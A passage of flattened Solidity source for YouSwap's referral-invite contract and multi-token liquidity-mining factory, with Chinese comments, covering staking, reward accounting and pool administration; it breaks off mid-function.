'YouSwap:END_OF_MINING'; string constant POOL_NOT_EXIST_OR_END_OF_MINING = 'YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING'; } // File: localhost/contract/interface/IYouswapInviteV1.sol pragma solidity 0.7.4; interface IYouswapInviteV1 { struct UserInfo { address upper;//上级 address[] lowers;//下级 uint256 startBlock;//邀请块高 } event InviteV1(address indexed owner, address indexed upper, uint256 indexed height);//被邀请人的地址,邀请人的地址,邀请块高 function inviteCount() external view returns (uint256);//邀请人数 function inviteUpper1(address) external view returns (address);//上级邀请 function inviteUpper2(address) external view returns (address, address);//上级邀请 function inviteLower1(address) external view returns (address[] memory);//下级邀请 function inviteLower2(address) external view returns (address[] memory, address[] memory);//下级邀请 function inviteLower2Count(address) external view returns (uint256, uint256);//下级邀请 function register() external returns (bool);//注册邀请关系 function acceptInvitation(address) external returns (bool);//注册邀请关系 function inviteBatch(address[] memory) external returns (uint, uint);//注册邀请关系:输入数量,成功数量 } // File: localhost/contract/implement/YouswapInviteV1.sol pragma solidity 0.7.4; contract YouswapInviteV1 is IYouswapInviteV1 { address public constant ZERO = address(0); uint256 public startBlock; address[] public inviteUserInfoV1; mapping(address => UserInfo) public inviteUserInfoV2; constructor () { startBlock = block.number; } function inviteCount() override external view returns (uint256) { return inviteUserInfoV1.length; } function inviteUpper1(address _owner) override external view returns (address) { return inviteUserInfoV2[_owner].upper; } function inviteUpper2(address _owner) override external view returns (address, address) { address upper1 = inviteUserInfoV2[_owner].upper; address upper2 = address(0); if (address(0) != upper1) { upper2 = inviteUserInfoV2[upper1].upper; } return (upper1, upper2); } function inviteLower1(address _owner) override external view returns (address[] memory) { return inviteUserInfoV2[_owner].lowers; } function inviteLower2(address _owner) override external view returns (address[] memory, address[] memory) { address[] memory lowers1 = inviteUserInfoV2[_owner].lowers; uint256 count = 0; uint256 lowers1Len = lowers1.length; for (uint256 i = 0; i < lowers1Len; i++) { count += inviteUserInfoV2[lowers1[i]].lowers.length; } address[] memory lowers; address[] memory lowers2 = new address[](count); count = 0; for (uint256 i = 0; i < lowers1Len; i++) { lowers = inviteUserInfoV2[lowers1[i]].lowers; for (uint256 j = 0; j < lowers.length; j++) { lowers2[count] = lowers[j]; count++; } } return (lowers1, lowers2); } function inviteLower2Count(address _owner) override external view returns (uint256, uint256) { address[] memory lowers1 = inviteUserInfoV2[_owner].lowers; uint256 lowers2Len = 0; uint256 len = lowers1.length; for (uint256 i = 0; i < len; i++) { lowers2Len += inviteUserInfoV2[lowers1[i]].lowers.length; } return (lowers1.length, lowers2Len); } function register() override external returns (bool) { UserInfo storage user = inviteUserInfoV2[tx.origin]; require(0 == user.startBlock, ErrorCode.REGISTERED); user.upper = ZERO; user.startBlock = block.number; inviteUserInfoV1.push(tx.origin); emit InviteV1(tx.origin, user.upper, user.startBlock); return true; } function acceptInvitation(address _inviter) override external returns (bool) { require(msg.sender != _inviter, ErrorCode.FORBIDDEN); UserInfo storage user = inviteUserInfoV2[msg.sender]; require(0 == user.startBlock, ErrorCode.REGISTERED); UserInfo storage upper = inviteUserInfoV2[_inviter]; if (0 == upper.startBlock) { upper.upper = ZERO; upper.startBlock = block.number; inviteUserInfoV1.push(_inviter); emit InviteV1(_inviter, upper.upper, upper.startBlock); } user.upper = _inviter; upper.lowers.push(msg.sender); user.startBlock = block.number; inviteUserInfoV1.push(msg.sender); emit InviteV1(msg.sender, user.upper, user.startBlock); return true; } function inviteBatch(address[] memory _invitees) override external returns (uint, uint) { uint len = _invitees.length; require(len <= 100, ErrorCode.PARAMETER_TOO_LONG); UserInfo storage user = inviteUserInfoV2[msg.sender]; if (0 == user.startBlock) { user.upper = ZERO; user.startBlock = block.number; inviteUserInfoV1.push(msg.sender); emit InviteV1(msg.sender, user.upper, user.startBlock); } uint count = 0; for (uint i = 0; i < len; i++) { if ((address(0) != _invitees[i]) && (msg.sender != _invitees[i])) { UserInfo storage lower = inviteUserInfoV2[_invitees[i]]; if (0 == lower.startBlock) { lower.upper = msg.sender; lower.startBlock = block.number; user.lowers.push(_invitees[i]); inviteUserInfoV1.push(_invitees[i]); count++; emit InviteV1(_invitees[i], msg.sender, lower.startBlock); } } } return (len, count); } } // File: localhost/contract/interface/ITokenYou.sol pragma solidity 0.7.4; interface ITokenYou { function mint(address recipient, uint256 amount) external; function decimals() external view returns (uint8); } // File: localhost/contract/interface/IYouswapFactoryV2.sol pragma solidity 0.7.4; /** 挖矿 */ interface IYouswapFactoryV2 { /** 矿池可视化信息 */ struct PoolViewInfo { address token;//token合约地址 string name;//名称 uint256 multiple;//奖励倍数 uint256 priority;//排序 } /** 矿池质押信息 */ struct PoolStakeInfo { uint256 startBlock;//挖矿开始块高 address token;//token合约地址 uint256 amount;//质押数量 uint256 lastRewardBlock;//最后发放奖励块高 uint256 totalPower;//总算力 uint256 powerRatio;//质押数量到算力系数 uint256 maxStakeAmount;//最大质押数量 uint256 endBlock;//挖矿结束块高 } /** 矿池奖励信息 */ struct PoolRewardInfo { address token;//挖矿奖励币种:A/B/C uint256 rewardTotal;//矿池总奖励 uint256 rewardPerBlock;//单个区块奖励 uint256 rewardProvide;//矿池已发放奖励 uint256 rewardPerShare;//单位算力奖励 } /** 用户质押信息 */ struct UserStakeInfo { uint256 startBlock;//质押开始块高 uint256 amount;//质押数量 uint256 invitePower;//邀请算力 uint256 stakePower;//质押算力 uint256[] invitePendingRewards;//待领取奖励 uint256[] stakePendingRewards;//待领取奖励 uint256[] inviteRewardDebts;//邀请负债 uint256[] stakeRewardDebts;//质押负债 } //////////////////////////////////////////////////////////////////////////////////// /** 自邀请 self:Sender地址 */ event InviteRegister(address indexed self); /** 更新矿池信息 action:true(新建矿池),false(更新矿池) poolId:矿池ID name:矿池名称 token:质押token合约地址 powerRatio:质押数量到算力系数=最小质押数量 maxStakeAmount:最大质押数量 startBlock:矿池开始挖矿块高 multiple:矿池奖励倍数 priority:矿池排序 tokens:挖矿奖励token合约地址 rewardTotal:挖矿总奖励数量 rewardPerBlock:区块奖励数量 */ event UpdatePool(bool action, uint256 poolId, string name, address indexed token, uint256 powerRatio, uint256 maxStakeAmount, uint256 startBlock, uint256 multiple, uint256 priority, address[] tokens, uint256[] _rewardTotals, uint256[] rewardPerBlocks); /** 矿池挖矿结束 poolId:矿池ID */ event EndPool(uint256 poolId); /** 质押 poolId:矿池ID token:token合约地址 from:质押转出地址 amount:质押数量 */ event Stake(uint256 poolId, address indexed token, address indexed from, uint256 amount); /** 算力 poolId:矿池ID token:token合约地址 totalPower:矿池总算力 owner:用户地址 ownerInvitePower:用户邀请算力 ownerStakePower:用户质押算力 upper1:上1级地址 upper1InvitePower:上1级邀请算力 upper2:上2级地址 upper2InvitePower:上2级邀请算力 */ event UpdatePower(uint256 poolId, address token, uint256 totalPower, address indexed owner, uint256 ownerInvitePower, uint256 ownerStakePower, address indexed upper1, uint256 upper1InvitePower, address indexed upper2, uint256 upper2InvitePower); /** 解质押 poolId:矿池ID token:token合约地址 to:解质押转入地址 amount:解质押数量 */ event UnStake(uint256 poolId, address indexed token, address indexed to, uint256 amount); /** 提取奖励 poolId:矿池ID token:token合约地址 to:奖励转入地址 inviteAmount:奖励数量 stakeAmount:奖励数量 */ event WithdrawReward(uint256 poolId, address indexed token, address indexed to, uint256 inviteAmount, uint256 stakeAmount); /** 挖矿 poolId:矿池ID token:token合约地址 amount:奖励数量 */ event Mint(uint256 poolId, address indexed token, uint256 amount); /** 紧急提取奖励事件 token:领取token合约地址 to:领取地址 amount:领取token数量 */ event SafeWithdraw(address indexed token, address indexed to, uint256 amount); /** 转移Owner oldOwner:旧Owner newOwner:新Owner */ event TransferOwnership(address indexed oldOwner, address indexed newOwner); //////////////////////////////////////////////////////////////////////////////////// /** 修改OWNER */ function transferOwnership(address owner) external; /** 质押 */ function stake(uint256 poolId, uint256 amount) external; /** 解质押并提取奖励 */ function unStake(uint256 poolId, uint256 amount) external; /** 批量解质押并提取奖励 */ function unStakes(uint256[] memory _poolIds) external; /** 提取奖励 */ function withdrawReward(uint256 poolId) external; /** 批量提取奖励 */ function withdrawRewards(uint256[] memory _poolIds) external; /** 紧急转移token */ function safeWithdraw(address token, address to, uint256 amount) external; /** 算力占比 */ function powerScale(uint256 poolId, address user) external view returns (uint256, uint256); /** 待领取的奖励 */ function pendingRewardV2(uint256 poolId, address user) external view returns (address[] memory, uint256[] memory); function pendingRewardV3(uint256 poolId, address user) external view returns (address[] memory, uint256[] memory, uint256[] memory); /** 通过token查询矿池编号 */ function poolNumbers(address token) external view returns (uint256[] memory); /** 矿池ID */ function poolIdsV2() external view returns (uint256[] memory); /** 质押数量范围 */ function stakeRange(uint256 poolId) external view returns (uint256, uint256); /** 质押数量到算力系数 */ function getPowerRatio(uint256 poolId) external view returns (uint256); function getRewardInfo(uint256 poolId, address user, uint256 index) external view returns (uint256, uint256, uint256, uint256); /** 设置运营权限 */ function setOperateOwner(address user, bool state) external; //////////////////////////////////////////////////////////////////////////////////// /** 新建矿池 */ function addPool(string memory name, address token, uint256 powerRatio, uint256 startBlock, uint256 multiple, uint256 priority, address[] memory tokens, uint256[] memory rewardTotals, uint256[] memory rewardPerBlocks) external; /** 修改矿池区块奖励 */ function setRewardPerBlock(uint256 poolId, address token, uint256 rewardPerBlock) external; /** 修改矿池总奖励 */ function setRewardTotal(uint256 poolId, address token, uint256 rewardTotal) external; /** 修改矿池名称 */ function setName(uint256 poolId, string memory name) external; /** 修改矿池倍数 */ function setMultiple(uint256 poolId, uint256 multiple) external; /** 修改矿池排序 */ function setPriority(uint256 poolId, uint256 priority) external; /** 修改矿池最大可质押数量 */ function setMaxStakeAmount(uint256 poolId, uint256 maxStakeAmount) external; //////////////////////////////////////////////////////////////////////////////////// } // File: localhost/contract/implement/YouswapFactoryV2.sol pragma solidity 0.7.4; contract YouswapFactoryV2 is IYouswapFactoryV2 { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant ZERO = address(0); uint256 public constant INVITE_SELF_REWARD = 5;//质押自奖励,5% uint256 public constant INVITE1_REWARD = 15;//1级邀请奖励,15% uint256 public constant INVITE2_REWARD = 10;//2级邀请奖励,10% uint256 public deployBlock;//合约部署块高 address public owner;//所有权限 mapping(address => bool) public operateOwner;//运营权限 ITokenYou public you;//you contract YouswapInviteV1 public invite;//invite contract uint256 public poolCount = 0;//矿池数量 uint256[] public poolIds;//矿池ID mapping(uint256 => PoolViewInfo) public poolViewInfos;//矿池可视化信息,poolID->PoolViewInfo mapping(uint256 => PoolStakeInfo) public poolStakeInfos;//矿池质押信息,poolID->PoolStakeInfo mapping(uint256 => PoolRewardInfo[]) public poolRewardInfos;//矿池奖励信息,poolID->PoolRewardInfo[] mapping(uint256 => mapping(address => UserStakeInfo)) public userStakeInfos;//用户质押信息,poolID->user-UserStakeInfo mapping(address => uint256) public tokenPendingRewards;//现存token奖励数量,token-amount mapping(address => mapping(address => uint256)) public userReceiveRewards;//用户已领取数量,token->user->amount modifier onlyOwner() {//校验owner权限 require(owner == msg.sender, "YouSwap:FORBIDDEN_NOT_OWNER"); _; } modifier onlyOperater() {//校验运营权限 require(operateOwner[msg.sender], "YouSwap:FORBIDDEN_NOT_OPERATER"); _; } constructor (ITokenYou _you, YouswapInviteV1 _invite) { deployBlock = block.number; owner = msg.sender; invite = _invite; you = _you; _setOperateOwner(owner, true);//给owner授权运营权限 } /** 修改OWNER */ function transferOwnership(address _owner) override external onlyOwner { require(ZERO != _owner, "YouSwap:INVALID_ADDRESSES"); emit TransferOwnership(owner, _owner); owner = _owner; } /** 质押 */ function stake(uint256 poolId, uint256 amount) override external { require(0 < amount, "YouSwap:PARAMETER_ERROR"); PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId]; require((ZERO != poolStakeInfo.token) && (poolStakeInfo.startBlock <= block.number), "YouSwap:POOL_NOT_EXIST_OR_MINT_NOT_START");//是否开启挖矿 require((poolStakeInfo.powerRatio <= amount) && (poolStakeInfo.amount.add(amount) < poolStakeInfo.maxStakeAmount), "YouSwap:STAKE_AMOUNT_TOO_SMALL_OR_TOO_LARGE"); (, uint256 startBlock) = invite.inviteUserInfoV2(msg.sender);//sender是否注册邀请关系 if (0 == startBlock) { invite.register();//sender注册邀请关系 emit InviteRegister(msg.sender); } IERC20(poolStakeInfo.token).safeTransferFrom(msg.sender, address(this), amount);//转移sender的质押资产到this (address upper1, address upper2) = invite.inviteUpper2(msg.sender);//获取上2级邀请关系 initRewardInfo(poolId, msg.sender, upper1, upper2); uint256[] memory rewardPerShares = computeReward(poolId);//计算单位算力奖励 provideReward(poolId, rewardPerShares, msg.sender, upper1, upper2);//给sender发放收益,给upper1,upper2增加待领取收益 addPower(poolId, msg.sender, amount, poolStakeInfo.powerRatio, upper1, upper2);//增加sender,upper1,upper2算力 setRewardDebt(poolId, rewardPerShares, msg.sender, upper1, upper2);//重置sender,upper1,upper2负债 emit Stake(poolId, poolStakeInfo.token, msg.sender, amount); } /** 解质押并提取奖励 */ function unStake(uint256 poolId, uint256 amount) override external { _unStake(poolId, amount); } /** 批量解质押并提取奖励 */ function unStakes(uint256[] memory _poolIds) override external { require((0 < _poolIds.length) && (50 >= _poolIds.length), "YouSwap:PARAMETER_ERROR_TOO_SHORT_OR_LONG"); uint256 amount; uint256 poolId; for(uint i = 0; i < _poolIds.length; i++) { poolId = _poolIds[i]; amount = userStakeInfos[poolId][msg.sender].amount;//sender的质押数量 if (0 < amount) { _unStake(poolId, amount); } } } /** 提取奖励 */ function withdrawReward(uint256 poolId) override external { _withdrawReward(poolId); } /** 批量提取奖励 */ function withdrawRewards(uint256[] memory _poolIds) override external { require((0 < _poolIds.length) && (50 >= _poolIds.length), "YouSwap:PARAMETER_ERROR_TOO_SHORT_OR_LONG"); for(uint i = 0; i < _poolIds.length; i++) { _withdrawReward(_poolIds[i]); } } /** 紧急转移token */ function safeWithdraw(address token, address to, uint256 amount) override external onlyOwner { require((ZERO != token) && (ZERO != to) && (0 < amount), "YouSwap:ZERO_ADDRESS_OR_ZERO_AMOUNT"); require(IERC20(token).balanceOf(address(this)) >= amount, "YouSwap:BALANCE_INSUFFICIENT"); IERC20(token).safeTransfer(to, amount);//紧急转移资产到to地址 emit SafeWithdraw(token, to, amount); } /** 算力占比 */ function powerScale(uint256 poolId, address user) override external view returns (uint256, uint256) { PoolStakeInfo memory poolStakeInfo = poolStakeInfos[poolId]; if (0 == poolStakeInfo.totalPower) { return (0, 0); } UserStakeInfo memory userStakeInfo = userStakeInfos[poolId][user]; return (userStakeInfo.invitePower.add(userStakeInfo.stakePower), poolStakeInfo.totalPower); } /** 待领取的奖励 */ function pendingRewardV2(uint256 poolId, address user) override external view returns (address[] memory, uint256[] memory) { PoolRewardInfo[] memory _poolRewardInfos = poolRewardInfos[poolId]; address[] memory tokens = new address[](_poolRewardInfos.length); uint256[] memory pendingRewards = new uint256[](_poolRewardInfos.length); PoolStakeInfo memory poolStakeInfo = poolStakeInfos[poolId]; if (ZERO != poolStakeInfo.token) { uint256 totalReward = 0; uint256 rewardPre; UserStakeInfo memory userStakeInfo = userStakeInfos[poolId][user]; for(uint i = 0; i < _poolRewardInfos.length; i++) { PoolRewardInfo memory poolRewardInfo = _poolRewardInfos[i]; if (poolStakeInfo.startBlock <= block.number) { totalReward = 0; if (userStakeInfo.invitePendingRewards.length == _poolRewardInfos.length) { if (0 < poolStakeInfo.totalPower) { rewardPre = block.number.sub(poolStakeInfo.lastRewardBlock).mul(poolRewardInfo.rewardPerBlock);//待快照奖励 if (poolRewardInfo.rewardProvide.add(rewardPre) >= poolRewardInfo.rewardTotal) {//是否超出总奖励 rewardPre = poolRewardInfo.rewardTotal.sub(poolRewardInfo.rewardProvide);//核减超出奖励 } poolRewardInfo.rewardPerShare = poolRewardInfo.rewardPerShare.add(rewardPre.mul(1e24).div(poolStakeInfo.totalPower));//累加待快照的单位算力奖励 } totalReward = userStakeInfo.invitePendingRewards[i];//待领取奖励 totalReward = totalReward.add(userStakeInfo.stakePendingRewards[i]);//待领取奖励 totalReward = totalReward.add(userStakeInfo.invitePower.mul(poolRewardInfo.rewardPerShare).sub(userStakeInfo.inviteRewardDebts[i]).div(1e24));//待快照的邀请奖励 totalReward = totalReward.add(userStakeInfo.stakePower.mul(poolRewardInfo.rewardPerShare).sub(userStakeInfo.stakeRewardDebts[i]).div(1e24));//待快照的质押奖励 } pendingRewards[i] = totalReward; } tokens[i] = poolRewardInfo.token; } } return (tokens, pendingRewards); } /** 待领取的奖励 */ function pendingRewardV3(uint256 poolId, address user) override external view returns (address[] memory, uint256[] memory, uint256[] memory) { PoolRewardInfo[] memory _poolRewardInfos = poolRewardInfos[poolId]; address[] memory tokens = new address[](_poolRewardInfos.length); uint256[] memory invitePendingRewards = new uint256[](_poolRewardInfos.length); uint256[] memory stakePendingRewards = new uint256[](_poolRewardInfos.length); PoolStakeInfo memory poolStakeInfo = poolStakeInfos[poolId]; if (ZERO != poolStakeInfo.token) { uint256 inviteReward = 0; uint256 stakeReward = 0; uint256 rewardPre; UserStakeInfo memory userStakeInfo = userStakeInfos[poolId][user]; for(uint i = 0; i < _poolRewardInfos.length; i++) { PoolRewardInfo memory poolRewardInfo = _poolRewardInfos[i]; if (poolStakeInfo.startBlock <= block.number) { inviteReward = 0; stakeReward = 0; if (userStakeInfo.invitePendingRewards.length == _poolRewardInfos.length) { if (0 < poolStakeInfo.totalPower) { rewardPre = block.number.sub(poolStakeInfo.lastRewardBlock).mul(poolRewardInfo.rewardPerBlock);//待快照奖励 if (poolRewardInfo.rewardProvide.add(rewardPre) >= poolRewardInfo.rewardTotal) {//是否超出总奖励 rewardPre = poolRewardInfo.rewardTotal.sub(poolRewardInfo.rewardProvide);//核减超出奖励 } poolRewardInfo.rewardPerShare = poolRewardInfo.rewardPerShare.add(rewardPre.mul(1e24).div(poolStakeInfo.totalPower));//累加待快照的单位算力奖励 } inviteReward = userStakeInfo.invitePendingRewards[i];//待领取奖励 stakeReward = userStakeInfo.stakePendingRewards[i];//待领取奖励 inviteReward = inviteReward.add(userStakeInfo.invitePower.mul(poolRewardInfo.rewardPerShare).sub(userStakeInfo.inviteRewardDebts[i]).div(1e24));//待快照的邀请奖励 stakeReward = stakeReward.add(userStakeInfo.stakePower.mul(poolRewardInfo.rewardPerShare).sub(userStakeInfo.stakeRewardDebts[i]).div(1e24));//待快照的质押奖励 } invitePendingRewards[i] = inviteReward; stakePendingRewards[i] = stakeReward; } tokens[i] = poolRewardInfo.token; } } return (tokens, invitePendingRewards, stakePendingRewards); } /** 通过token查询矿池编号 */ function poolNumbers(address token) override external view returns (uint256[] memory) { uint256 count = 0; for (uint256 i = 0; i < poolIds.length; i++) { if (poolViewInfos[poolIds[i]].token == token) { count = count.add(1); } } uint256[] memory ids = new uint256[](count); count = 0; for (uint i = 0; i < poolIds.length; i++) { if (poolViewInfos[poolIds[i]].token == token) { ids[count] = poolIds[i]; count = count.add(1); } } return ids; } /** 矿池ID */ function poolIdsV2() override external view returns (uint256[] memory) { return poolIds; } /** 质押数量范围 */ function stakeRange(uint256 poolId) override external view returns (uint256, uint256) { PoolStakeInfo memory poolStakeInfo = poolStakeInfos[poolId]; if (ZERO == poolStakeInfo.token) { return (0, 0); } return (poolStakeInfo.powerRatio, poolStakeInfo.maxStakeAmount.sub(poolStakeInfo.amount)); } /** 质押数量到算力系数 */ function getPowerRatio(uint256 poolId) override external view returns (uint256) { return poolStakeInfos[poolId].powerRatio; } function getRewardInfo(uint256 poolId, address user, uint256 index) override external view returns (uint256, uint256, uint256, uint256) { UserStakeInfo memory userStakeInfo = userStakeInfos[poolId][user]; return (userStakeInfo.invitePendingRewards[index], userStakeInfo.stakePendingRewards[index], userStakeInfo.inviteRewardDebts[index], userStakeInfo.stakeRewardDebts[index]); } /** 设置运营权限 */ function setOperateOwner(address user, bool state) override external onlyOwner { _setOperateOwner(user, state); } //////////////////////////////////////////////////////////////////////////////////// /** 新建矿池 */ function addPool(string memory name, address token, uint256 powerRatio, uint256 startBlock, uint256 multiple, uint256 priority, address[] memory tokens, uint256[] memory _rewardTotals, uint256[] memory rewardPerBlocks) override external onlyOperater { require((ZERO != token) && (address(this) != token), "YouSwap:PARAMETER_ERROR_TOKEN"); require(0 < powerRatio, "YouSwap:POWERRATIO_MUST_GREATER_THAN_ZERO"); require((0 < tokens.length) && (10 >= tokens.length) && (tokens.length == _rewardTotals.length) && (tokens.length == rewardPerBlocks.length), "YouSwap:PARAMETER_ERROR_REWARD"); startBlock = startBlock < block.number ? block.number : startBlock;//合法开始块高 uint256 poolId = poolCount.add(20000000);//矿池ID,偏移20000000,与v1区分开 poolIds.push(poolId);//全部矿池ID poolCount = poolCount.add(1);//矿池总数量 PoolViewInfo storage poolViewInfo = poolViewInfos[poolId];//矿池可视化信息 poolViewInfo.token = token;//矿池质押token poolViewInfo.name = name;//矿池名称 poolViewInfo.multiple = multiple;//矿池倍数 if (0 < priority) { poolViewInfo.priority = priority;//矿池优先级 }else { poolViewInfo.priority = poolIds.length.mul(100).add(75);//矿池优先级 } PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId];//矿池质押信息 poolStakeInfo.startBlock = startBlock;//开始块高 poolStakeInfo.token = token;//矿池质押token poolStakeInfo.amount = 0;//矿池质押数量 poolStakeInfo.lastRewardBlock = startBlock.sub(1);//矿池上次快照块高 poolStakeInfo.totalPower = 0;//矿池总算力 poolStakeInfo.powerRatio = powerRatio;//质押数量到算力系数 poolStakeInfo.maxStakeAmount = 0;//最大质押数量 poolStakeInfo.endBlock = 0;//矿池结束块高 uint256 minRewardPerBlock = uint256(0) - uint256(1);//最小区块奖励 for(uint i = 0; i < tokens.length; i++) { require((ZERO != tokens[i]) && (address(this) != tokens[i]), "YouSwap:PARAMETER_ERROR_TOKEN"); require(0 < _rewardTotals[i], "YouSwap:PARAMETER_ERROR_REWARD_TOTAL"); require(0 < rewardPerBlocks[i], "YouSwap:PARAMETER_ERROR_REWARD_PER_BLOCK"); if (address(you) != tokens[i]) {//非you奖励 tokenPendingRewards[tokens[i]] = tokenPendingRewards[tokens[i]].add(_rewardTotals[i]); require(IERC20(tokens[i]).balanceOf(address(this)) >= tokenPendingRewards[tokens[i]], "YouSwap:BALANCE_INSUFFICIENT");//奖励数量是否足额 } PoolRewardInfo memory poolRewardInfo;//矿池奖励信息 poolRewardInfo.token = tokens[i];//奖励token poolRewardInfo.rewardTotal = _rewardTotals[i];//总奖励 poolRewardInfo.rewardPerBlock = rewardPerBlocks[i];//区块奖励 poolRewardInfo.rewardProvide = 0;//已发放奖励 poolRewardInfo.rewardPerShare = 0;//单位算力简历 poolRewardInfos[poolId].push(poolRewardInfo); if (minRewardPerBlock > poolRewardInfo.rewardPerBlock) { minRewardPerBlock = poolRewardInfo.rewardPerBlock; poolStakeInfo.maxStakeAmount = minRewardPerBlock.mul(1e24).mul(poolStakeInfo.powerRatio).div(13); } } sendUpdatePoolEvent(true, poolId); } /** 修改矿池区块奖励 */ function setRewardPerBlock(uint256 poolId, address token, uint256 rewardPerBlock) override external onlyOperater { PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId]; require((ZERO != poolStakeInfo.token) && (0 == poolStakeInfo.endBlock), "YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING");//矿池是否存在、是否结束 computeReward(poolId);//计算单位算力奖励 uint256 minRewardPerBlock = uint256(0) - uint256(1);//最小区块奖励 PoolRewardInfo[] storage _poolRewardInfos = poolRewardInfos[poolId]; for(uint i = 0; i < _poolRewardInfos.length; i++) { if (_poolRewardInfos[i].token == token) { _poolRewardInfos[i].rewardPerBlock = rewardPerBlock;//修改矿池区块奖励 sendUpdatePoolEvent(false, poolId);//更新矿池信息事件 } if (minRewardPerBlock > _poolRewardInfos[i].rewardPerBlock) { minRewardPerBlock = _poolRewardInfos[i].rewardPerBlock; poolStakeInfo.maxStakeAmount = minRewardPerBlock.mul(1e24).mul(poolStakeInfo.powerRatio).div(13); } } } /** 修改矿池总奖励 */ function setRewardTotal(uint256 poolId, address token, uint256 rewardTotal) override external onlyOperater { PoolStakeInfo memory poolStakeInfo = poolStakeInfos[poolId]; require((ZERO != poolStakeInfo.token) && (0 == poolStakeInfo.endBlock), "YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING");//矿池是否存在、是否结束 computeReward(poolId);//计算单位算力奖励 PoolRewardInfo[] storage _poolRewardInfos = poolRewardInfos[poolId]; for(uint i = 0; i < _poolRewardInfos.length; i++) { if (_poolRewardInfos[i].token == token) { require(_poolRewardInfos[i].rewardProvide <= rewardTotal, "YouSwap:REWARDTOTAL_LESS_THAN_REWARDPROVIDE");//新总奖励是否超出已发放奖励 if (address(you) != token) {//非you if (_poolRewardInfos[i].rewardTotal > rewardTotal) {//新总奖励小于旧总奖励 tokenPendingRewards[token] = tokenPendingRewards[token].sub(_poolRewardInfos[i].rewardTotal.sub(rewardTotal));//减少新旧差额 }else {//新总奖励大于旧总奖励 tokenPendingRewards[token] = tokenPendingRewards[token].add(rewardTotal.sub(_poolRewardInfos[i].rewardTotal));//增加新旧差额 } require(IERC20(token).balanceOf(address(this)) >= tokenPendingRewards[token], "YouSwap:BALANCE_INSUFFICIENT");//奖励数量是否足额 } _poolRewardInfos[i].rewardTotal = rewardTotal;//修改矿池总奖励 sendUpdatePoolEvent(false, poolId);//更新矿池信息事件 } } } /** 修改矿池名称 */ function setName(uint256 poolId, string memory name) override external onlyOperater { PoolViewInfo storage poolViewInfo = poolViewInfos[poolId]; require(ZERO != poolViewInfo.token, "YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING");//矿池是否存在 poolViewInfo.name = name;//修改矿池名称 sendUpdatePoolEvent(false, poolId);//更新矿池信息事件 } /** 修改矿池倍数 */ function setMultiple(uint256 poolId, uint256 multiple) override external onlyOperater { PoolViewInfo storage poolViewInfo = poolViewInfos[poolId]; require(ZERO != poolViewInfo.token, "YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING");//矿池是否存在 poolViewInfo.multiple = multiple;//修改矿池倍数 sendUpdatePoolEvent(false, poolId);//更新矿池信息事件 } /** 修改矿池排序 */ function setPriority(uint256 poolId, uint256 priority) override external onlyOperater { PoolViewInfo storage poolViewInfo = poolViewInfos[poolId]; require(ZERO != poolViewInfo.token, "YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING");//矿池是否存在 poolViewInfo.priority = priority;//修改矿池排序 sendUpdatePoolEvent(false, poolId);//更新矿池信息事件 } function setMaxStakeAmount(uint256 poolId, uint256 maxStakeAmount) override external onlyOperater { uint256 _maxStakeAmount; PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId]; require((ZERO != poolStakeInfo.token) && (0 == poolStakeInfo.endBlock), "YouSwap:POOL_NOT_EXIST_OR_END_OF_MINING");//矿池是否存在、是否结束 uint256 minRewardPerBlock = uint256(0) - uint256(1);//最小区块奖励 PoolRewardInfo[] memory _poolRewardInfos = poolRewardInfos[poolId]; for(uint i = 0; i < _poolRewardInfos.length; i++) { if (minRewardPerBlock > _poolRewardInfos[i].rewardPerBlock) { minRewardPerBlock = _poolRewardInfos[i].rewardPerBlock; _maxStakeAmount = minRewardPerBlock.mul(1e24).mul(poolStakeInfo.powerRatio).div(13); } } require(poolStakeInfo.powerRatio <= maxStakeAmount && poolStakeInfo.amount <= maxStakeAmount && maxStakeAmount <= _maxStakeAmount, "YouSwap:MAX_STAKE_AMOUNT_INVALID"); poolStakeInfo.maxStakeAmount = maxStakeAmount; sendUpdatePoolEvent(false, poolId);//更新矿池信息事件 } //////////////////////////////////////////////////////////////////////////////////// function _setOperateOwner(address user, bool state) internal onlyOwner { operateOwner[user] = state;//设置运营权限 } /** 计算单位算力奖励 */ function computeReward(uint256 poolId) internal returns (uint256[] memory) { PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId]; PoolRewardInfo[] storage _poolRewardInfos = poolRewardInfos[poolId]; uint256[] memory rewardPerShares = new uint256[](_poolRewardInfos.length); if (0 < poolStakeInfo.totalPower) {//有算力才能发奖励 uint finishRewardCount = 0; uint256 reward = 0; uint256 blockCount = block.number.sub(poolStakeInfo.lastRewardBlock);//待发放的区块数量 for(uint i = 0; i < _poolRewardInfos.length; i++) { PoolRewardInfo storage poolRewardInfo = _poolRewardInfos[i];//矿池奖励信息 reward = blockCount.mul(poolRewardInfo.rewardPerBlock);//两次快照之间总奖励 if (poolRewardInfo.rewardProvide.add(reward) >= poolRewardInfo.rewardTotal) {//是否超出总奖励数量 reward = poolRewardInfo.rewardTotal.sub(poolRewardInfo.rewardProvide);//核减超出奖励 finishRewardCount = finishRewardCount.add(1);//挖矿结束token计数 } poolRewardInfo.rewardProvide = poolRewardInfo.rewardProvide.add(reward);//更新已发放奖励数量 poolRewardInfo.rewardPerShare = poolRewardInfo.rewardPerShare.add(reward.mul(1e24).div(poolStakeInfo.totalPower));//更新单位算力奖励 rewardPerShares[i] = poolRewardInfo.rewardPerShare; if (0 < reward) { emit Mint(poolId, poolRewardInfo.token, reward);//挖矿事件 } } poolStakeInfo.lastRewardBlock = block.number;//更新快照块高 if (finishRewardCount == _poolRewardInfos.length) {//是否挖矿结束 poolStakeInfo.endBlock = block.number;//挖矿结束块高 emit EndPool(poolId);//挖矿结束事件 } }else { for(uint i = 0; i < _poolRewardInfos.length; i++) { rewardPerShares[i] = _poolRewardInfos[i].rewardPerShare; } } return rewardPerShares; } /** 增加算力 */ function addPower(uint256 poolId, address user, uint256 amount, uint256 powerRatio, address upper1, address upper2) internal { uint256 power = amount.div(powerRatio); PoolStakeInfo storage poolStakeInfo = poolStakeInfos[poolId];//矿池质押信息 poolStakeInfo.amount = poolStakeInfo.amount.add(amount);//更新矿池质押数量 poolStakeInfo.totalPower = 